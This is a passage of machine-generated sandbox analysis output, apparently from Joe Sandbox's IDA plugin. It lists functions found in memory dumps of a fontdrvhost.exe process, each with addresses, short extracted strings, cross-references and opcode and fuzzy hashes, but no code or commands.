Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: L_^$$L_^%$L_^1$L_^9$L_^:$^+=$#<L
API String ID: 0-4271824446
Opcode ID: b34310fa1fc0c123ab2ee53f33e57d96bf9007b256c182c9725413568574c979
Instruction ID: 362b89c93282e4a0fc2b586642626d1c8581a31cd0c0734f6ce42700a835332e
Opcode Fuzzy Hash: b34310fa1fc0c123ab2ee53f33e57d96bf9007b256c182c9725413568574c979
Instruction Fuzzy Hash: C571E917B0C5222AD92977ED78620FF7748DF91379B184677E28CA90A34D18F8C245D6

Function 00007FFD345706D3 Relevance: 9.0, Strings: 7, Instructions: 225COMMON

Download Yara Rule

Strings

L_^9, xrefs: 00007FFD3457076A
L_^$, xrefs: 00007FFD345706C2
#<L, xrefs: 00007FFD34570897
L_^%, xrefs: 00007FFD345706C9
L_^1, xrefs: 00007FFD3457072A
L_^:, xrefs: 00007FFD34570772
^+=, xrefs: 00007FFD3457078E

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: L_^$$L_^%$L_^1$L_^9$L_^:$^+=$#<L
API String ID: 0-4271824446
Opcode ID: 230673a9c5e27a90f079f00ef638b592d3d03742240a7f1810d7f83d4348c3ca
Instruction ID: d77be82bacd0cfb6302ea27809dde9b24e51198c4de67680d41ce0311e0b4110
Opcode Fuzzy Hash: 230673a9c5e27a90f079f00ef638b592d3d03742240a7f1810d7f83d4348c3ca
Instruction Fuzzy Hash: 73517557F0C52626E92937EC38A60FF6748DFA1379B189677E24DA80A34D1CECC241D9

Function 00007FFD345706FA Relevance: 9.0, Strings: 7, Instructions: 215COMMON

Download Yara Rule

Strings

L_^9, xrefs: 00007FFD3457076A
=L_^, xrefs: 00007FFD34570701
L_^+, xrefs: 00007FFD345706FA
#<L, xrefs: 00007FFD34570897
L_^1, xrefs: 00007FFD3457072A
L_^:, xrefs: 00007FFD34570772
^+=, xrefs: 00007FFD3457078E

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: =L_^$L_^+$L_^1$L_^9$L_^:$^+=$#<L
API String ID: 0-1802454848
Opcode ID: 915d380f74688abbd3bd571c83459c687468c841d5a0e5921064095303701577
Instruction ID: 8e5d385fb794a36892cc1e09d1c1497468d0cf48f766087935c672a262fa8820
Opcode Fuzzy Hash: 915d380f74688abbd3bd571c83459c687468c841d5a0e5921064095303701577
Instruction Fuzzy Hash: 9D516D17B0C52626E92937FD38A60FF6708DFA1379B089677E20DA80A34D1CEC8241D9

Function 00007FFD345609B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD34560B46
#{9, xrefs: 00007FFD34560B3E
!k9, xrefs: 00007FFD34560B4E
c9, xrefs: 00007FFD34560B56

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 9bc2b293896c0baef41746b4921a91980c9f281a934a55c9448ee0fb6a910f5c
Instruction ID: 7f7c9cd1ebcbb4773652999d575a23293d0b24c1fb6050a7d2b30b96cbfc5eb1
Opcode Fuzzy Hash: 9bc2b293896c0baef41746b4921a91980c9f281a934a55c9448ee0fb6a910f5c
Instruction Fuzzy Hash: BE419407F1D46B67EA2A37FD74611FE6B889FA2375B084377E14C990E34D0CA88582E5

Analysis Process: fontdrvhost.exePID: 4328, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD34570D48 Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

5X_H, xrefs: 00007FFD34570DF3

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 5X_H
API String ID: 0-3241812158
Opcode ID: 3a8d254df2c218f40cc745fd2fd519ec446ce73473658a7121c8cb2a841c3e51
Instruction ID: 0ca94b07fed3ee1fa7cc180c651c3564e5f0520ed56c61196f40ba802fd38632
Opcode Fuzzy Hash: 3a8d254df2c218f40cc745fd2fd519ec446ce73473658a7121c8cb2a841c3e51
Instruction Fuzzy Hash: 19910172A0CA8A8FE799DB6888757A97FE1FB57350F4041BAD009D72E2CA7C6815C710

Function 00007FFD345A12B1 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694d2eadcde64b09802593860702108fd4c51f770cb1a588041f6df296fd81e4
Instruction ID: 28ea7a543e3547f8b102ea0c84606085b7983cb895fa4b23efac63623b6bb226
Opcode Fuzzy Hash: 694d2eadcde64b09802593860702108fd4c51f770cb1a588041f6df296fd81e4
Instruction Fuzzy Hash: 71C19C35E2E65A0BE32F592808A21B57791EB93205B2D837DCEDBC75C7DC1C680782C1

Function 00007FFD345A12E5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c70f1c51156b47ad59345075d04edfc8d4b61a3564eb2a54db368e85e0a7b23b
Instruction ID: b71651af9b2e314990e3405f1665071df93ef86fc223a2b892c062dec72361f8
Opcode Fuzzy Hash: c70f1c51156b47ad59345075d04edfc8d4b61a3564eb2a54db368e85e0a7b23b
Instruction Fuzzy Hash: AF813672E6E66A07A36E48284CA21767285EB83215B29527ECFDBC35C3EC0D6C1351C2

Function 00007FFD34570E43 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d97ec433e5bed5c5ce24c2feb0350b740c9d2fb5ba4d7f00c2d1c02295bd9c74
Instruction ID: 7f658d874e3368eda5c707a6c747ebb5a24d36d4d95cd27106b1c4753b5df4f5
Opcode Fuzzy Hash: d97ec433e5bed5c5ce24c2feb0350b740c9d2fb5ba4d7f00c2d1c02295bd9c74
Instruction Fuzzy Hash: 78511F72A1CA4A8FE398DB5CC8A57A97FE1FB96360F40017AD009E73D5CBB91411C700

Function 00007FFD34580CFC Relevance: 8.4, Strings: 6, Instructions: 944COMMON

Download Yara Rule

Strings

*a4, xrefs: 00007FFD34580CF3
wb4, xrefs: 00007FFD34581309
PXb4, xrefs: 00007FFD34580D6F
pqb4, xrefs: 00007FFD3458125A
HIb4, xrefs: 00007FFD34580BF1
P\b4, xrefs: 00007FFD34581398

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID: *a4$HIb4$PXb4$P\b4$pqb4$wb4
API String ID: 0-1030217466
Opcode ID: 7119bbf3c5770836344e064367f0a8fd2c0381893af28dab60711f261544a979
Instruction ID: 76038e56eac96d0905bcf193a404f973610e51087f59c0d257ffdfe07a84e029
Opcode Fuzzy Hash: 7119bbf3c5770836344e064367f0a8fd2c0381893af28dab60711f261544a979
Instruction Fuzzy Hash: 3862B021F1CA1A4FEB99EB1888E66B877D2FF95744F4441BAD10ED3286DD2CBC429740

Function 00007FFD34581305 Relevance: 2.8, Strings: 2, Instructions: 276COMMON

Download Yara Rule

Strings

wb4, xrefs: 00007FFD34581309
P\b4, xrefs: 00007FFD34581398

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID: P\b4$wb4
API String ID: 0-1169014964
Opcode ID: d05d504df4c70b2bcffe8e62a0b7a7d1d00aec2aa0d5657d6f1872daec154a55
Instruction ID: 04047b01daa643e20217dc0c92000a4bc6091103bd8695854b0fb2e86aeb73bf
Opcode Fuzzy Hash: d05d504df4c70b2bcffe8e62a0b7a7d1d00aec2aa0d5657d6f1872daec154a55
Instruction Fuzzy Hash: 0B917F31F1C94A4FEB99EB2894F26B877A1FF95304B5445B9D04ED3286DE2CAC428B40

Function 00007FFD345A35F5 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

@aE4, xrefs: 00007FFD345A3678

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: @aE4
API String ID: 0-1610574275
Opcode ID: 5f43bc50037a1f7b7631e6e952f92f8ec3317561d8c9de268ec3562e9da2465f
Instruction ID: e7c89b0b2b73a9aa00b089ec7b94bb043cac811dd1d09a900baeca1cbea86abb
Opcode Fuzzy Hash: 5f43bc50037a1f7b7631e6e952f92f8ec3317561d8c9de268ec3562e9da2465f
Instruction Fuzzy Hash: 0491B221F1D94A0FEBDEEB1884B62B573D1EBA6358F04407AD94EC32C7DD2CA8459381

Function 00007FFD34570998 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

87b4, xrefs: 00007FFD3457B035

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 87b4
API String ID: 0-1132462551
Opcode ID: 1b9e81b02a5f737ff0a56993d622b480da2e7f9933feab22686a1f2e0792812e
Instruction ID: 1075875f35212c2aad7d0b610feb2de77eada48d7a3a8797d45a9d3b3bab8d26
Opcode Fuzzy Hash: 1b9e81b02a5f737ff0a56993d622b480da2e7f9933feab22686a1f2e0792812e
Instruction Fuzzy Hash: 1621F821F1C9190FF758FB6C84AAA7577D6EB99325B5040B9E40EC32E7DD2CEC418281

Function 00007FFD345A1EF9 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD345A1F16

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: caec905013c34235ab15f3c7ddfec50e83176b344827737a1c9c8424fca9d588
Instruction ID: c4afec0719a40c2429a2779e23769a1417b9e272f10d40bbbf3f3f0905bdde68
Opcode Fuzzy Hash: caec905013c34235ab15f3c7ddfec50e83176b344827737a1c9c8424fca9d588
Instruction Fuzzy Hash: BEF06D61A0E3C04FCB16EA348869455BFA0EF6721174A51EFC046CF1A3EA2D8889C701

Function 00007FFD34583F09 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD34583F26

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 6327e0fbbd3d2abe1d90331d178e201640695889aac6d57857d0f2d1a8ff80fe
Instruction ID: 9b5879d5b4d52f8cb37b748679800b3f5b8ea0101d88c17824db5fe6e392c694
Opcode Fuzzy Hash: 6327e0fbbd3d2abe1d90331d178e201640695889aac6d57857d0f2d1a8ff80fe
Instruction Fuzzy Hash: FBE06571A0E7C04FC756A73488684547FA0EF6720174A41EEC145CF1A3DA2D8885CB01

Function 00007FFD345A3129 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD345A3146

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 7f8583f64fc22b8d8b91bb3e5795d03e8c76d4c2486fc8bef69233033c9f46ae
Instruction ID: 75f0ff9b178f389f05860dee1172146101dcafabf1e3675727e6cf9d5a5837ee
Opcode Fuzzy Hash: 7f8583f64fc22b8d8b91bb3e5795d03e8c76d4c2486fc8bef69233033c9f46ae
Instruction Fuzzy Hash: 59E06D71A4E7C44FC75AEA34886D454BFA0EF6721174A42EFC545CF1A3EA2D8885CB01

Function 00007FFD345AA649 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD345AA666

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0491a00a03924ebea1dd1d365588c251b2c62e0a935eb68341bc08257a6f1996
Instruction ID: 7a33faeddc2fe1912b443798c03af2b386c8874ce94017713beb57ef1e2bb899
Opcode Fuzzy Hash: 0491a00a03924ebea1dd1d365588c251b2c62e0a935eb68341bc08257a6f1996
Instruction Fuzzy Hash: B3E0927064E3C44FC70AEB3488698547F60EF6720174A42EFC146CF1A3EA2DC889CB01

Function 00007FFD345AA719 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD345AA736

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: fec5af4a61d2e2f04611fec90ca59a4b878b58c6172c6044695a7c8b4a39d55b
Instruction ID: 23a249a28be1c18b864156adf5e1ff26cc38c2fcce0a10ac7f1ac4193cf5177c
Opcode Fuzzy Hash: fec5af4a61d2e2f04611fec90ca59a4b878b58c6172c6044695a7c8b4a39d55b
Instruction Fuzzy Hash: 09E06D71A0E7C44FC71BAA348869455BFA0EF6720174A46EEC145CF5A3EA2E8889CB01

Function 00007FFD345A83B9 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD345A83D6

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 0b95c9cc8f2145e63a0b8746f5fa85fc54f13d4c9488f68181c3fc72e01284e7
Instruction ID: 6897d1d60c01a320884d937dea95910b293b707ba0fb87ba4bf67b3a189c6c84
Opcode Fuzzy Hash: 0b95c9cc8f2145e63a0b8746f5fa85fc54f13d4c9488f68181c3fc72e01284e7
Instruction Fuzzy Hash: A7E01AB194F3C04FCB56AB3488668593FA0EE6721078A54EEC189CF1B3E62D9849C711

Function 00007FFD345A1F89 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD345A1FA6

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 2e41b0e454005dfc97cbc623909a148e7502fe7cde305f9c04f46d109e13c344
Instruction ID: 7384cc3b0a984948687ef596da4e79f5fd39cbe705fa475a1c112d68d2d4878c
Opcode Fuzzy Hash: 2e41b0e454005dfc97cbc623909a148e7502fe7cde305f9c04f46d109e13c344
Instruction Fuzzy Hash: A0E09A6294F3C04FCB46EB3888A98453FA0EF6720078A00EEC086CF5A3E62D9849C700

Function 00007FFD34583F99 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD34583FB6

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 94fb8af0d50278739acb58482f1440c7035a8044c261aeffb00e90981ea6e00f
Instruction ID: 527f7e4c8b76a3693f84dbc243240c93410ed350e6422d0e9fefedac3e48c6f1
Opcode Fuzzy Hash: 94fb8af0d50278739acb58482f1440c7035a8044c261aeffb00e90981ea6e00f
Instruction Fuzzy Hash: ADE0ED7194E3C04FD746AB75886A8497FA0EE6721078A45EEC185CF1A3D62D8845C702

Function 00007FFD345AAC19 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD345AAC36

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 6e2927970b281686d7d075296cb07c2e0f612110cd2bc04bb4a907e2ab5e3727
Instruction ID: 274ed71f57bf630801184a4261f8385397d21a7c7bdb2afac03ae9330e148cef
Opcode Fuzzy Hash: 6e2927970b281686d7d075296cb07c2e0f612110cd2bc04bb4a907e2ab5e3727
Instruction Fuzzy Hash: 6BE01AA158E3C04FCB06EB7488659543F619E6B21078A41DEC146CB1B3E62D8849C701

Function 00007FFD345AB148 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a488de28d3b3d2370b49b0b570b2f68e250ec913bf7aef1edceb26276dc824b
Instruction ID: eac2980b68e0df07fdfde0167c068df7c345dc8131731c2dd61e1eb1ddf23afd
Opcode Fuzzy Hash: 0a488de28d3b3d2370b49b0b570b2f68e250ec913bf7aef1edceb26276dc824b
Instruction Fuzzy Hash: B8613522F1E99A0FEBD7E66884E92A87BD1FF46314F4401BBD649C31C6DD2CAC459381

Function 00007FFD345A25B8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f5741b1f7d5e84cefe1ae1551f7dff032254e32d51b2361b720535db774384
Instruction ID: 046d245cfd69d6a63baac83a75e79a69193708444aaebe689a8fe8d4156989db
Opcode Fuzzy Hash: c6f5741b1f7d5e84cefe1ae1551f7dff032254e32d51b2361b720535db774384
Instruction Fuzzy Hash: B941F132E09A594FE7AAEA58C8A57A537E1EB95320F04017AD40DD73C5CE2CAC84C780

Function 00007FFD34570908 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction ID: 73f0be268f4b869d438cce6e53f4dd581a08295b1ddd1d1fdaa7378430ab1ed0
Opcode Fuzzy Hash: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction Fuzzy Hash: 4721F63170CD184FE768EA0CE88ADB977D1EB9A32130101BAE58EC7166E911EC8287C1

Function 00007FFD34571171 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 159f34c4de0c5f1b341244215ec7c62ee9609bb215ede6fed808bffbb4b5aaf1
Instruction ID: c7b13efa7d703e7436ba28aa26f676780b8c0f2000eca3a988cf4af450ee7326
Opcode Fuzzy Hash: 159f34c4de0c5f1b341244215ec7c62ee9609bb215ede6fed808bffbb4b5aaf1
Instruction Fuzzy Hash: B9317231A0D68A8FDB46EB64CCA59A97FF1EF57300B0445BBD009DB293DA2C9845C751

Function 00007FFD34570C25 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d90b0c0a8a6c736dc1ac66f4cefa69363275fb447e4bcd857edff427d862593e
Instruction ID: c6351560d65d40529ae7540b0413808d02038997c9238fc408221693e24f150d
Opcode Fuzzy Hash: d90b0c0a8a6c736dc1ac66f4cefa69363275fb447e4bcd857edff427d862593e
Instruction Fuzzy Hash: 6521D327F0D6899FE712AB689C620ED7FA4EF53321F1481B3C148DA193D92CA9469781

Function 00007FFD345746FE Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77bbb1c637e440cbce0629f258385c615659897ef442f251a67ecf818b48b38a
Instruction ID: d974336d723f2e171bfb40e2b7f1dea0b388438f4aa1af8858f35523d697cf77
Opcode Fuzzy Hash: 77bbb1c637e440cbce0629f258385c615659897ef442f251a67ecf818b48b38a
Instruction Fuzzy Hash: BE218631E1C82E8FEB95EB189CA42B866E1FF47311F1441B9D54EE3292DE2CAC419740

Function 00007FFD345708F8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction ID: 863c312b6a399c42bed6afe9b30b7b0884e2f6eb32dfcd3d80d22d20cc7b0bcd
Opcode Fuzzy Hash: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction Fuzzy Hash: 9B01F732F4DA2D0B9669D41D9C9B936BBC2DBCBB707155279E98EC3245DC14AC5342C0

Function 00007FFD34570C38 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d049bde4181c3e5b344f4abdb690191cee0dec0a898af006ae090847e1b43
Instruction ID: 5d4290a6fd67896f8f3850d8490b1a7b914b823edea3bdfaa4ca60065f238b5f
Opcode Fuzzy Hash: 1d7d049bde4181c3e5b344f4abdb690191cee0dec0a898af006ae090847e1b43
Instruction Fuzzy Hash: 2211CE36E0D3898FE7029B688CA11ADBFE4EF43310F1480B2C144DB192D93C9A069781

Function 00007FFD345AD9D8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD345A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd345a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9098a248078c994c672ce8cffb09515a4328e2d90b94c3deaba711b255f02831
Instruction ID: f81e68caab8d682c3786521d4b6508853ba6fbe6b752ae5ecf69d19218b91685
Opcode Fuzzy Hash: 9098a248078c994c672ce8cffb09515a4328e2d90b94c3deaba711b255f02831
Instruction Fuzzy Hash: 4D017C31F1951A8BEB9AEA1898A17FDB3E2FF85300F440535E10DD31D1CE2DA888D790

Function 00007FFD34570C48 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156dde3acd9c6d7c62897e812506644ef3bdd6e8be639f11dec30af443269812
Instruction ID: c58df6bfad79fafb136bb9675ca66c848357a0f312da278be02f80c981942100
Opcode Fuzzy Hash: 156dde3acd9c6d7c62897e812506644ef3bdd6e8be639f11dec30af443269812
Instruction Fuzzy Hash: 94018C36E0D3899FEB12DB6888A119DBFF4EF03310F1581F6C545DB1A2DA389A45D781

Function 00007FFD3457480A Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90cd31da24f513d21aaa8876a5721ec6c6bdf428686beba1be954c2cbf51b0e0
Instruction ID: 7dc559c70bfb786322e7a1f77e40cae4f6267a9f5d69c2d2e2cb83f497dd45ca
Opcode Fuzzy Hash: 90cd31da24f513d21aaa8876a5721ec6c6bdf428686beba1be954c2cbf51b0e0
Instruction Fuzzy Hash: 07016D31F0C41A4FEA99F72898A46B866D1EF97312F0580B5D58ED3292DE2CEC429640

Function 00007FFD345844D9 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2382571328.00007FFD34580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd34580000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4460f6ca23c1460d7487779401055db18117b7dd8bb486689bc5ad3acada9ca0
Instruction ID: 12068f2ef6ce8b02da973a7f111058565472b32dd4bdf789be8ed319c3009b39
Opcode Fuzzy Hash: 4460f6ca23c1460d7487779401055db18117b7dd8bb486689bc5ad3acada9ca0
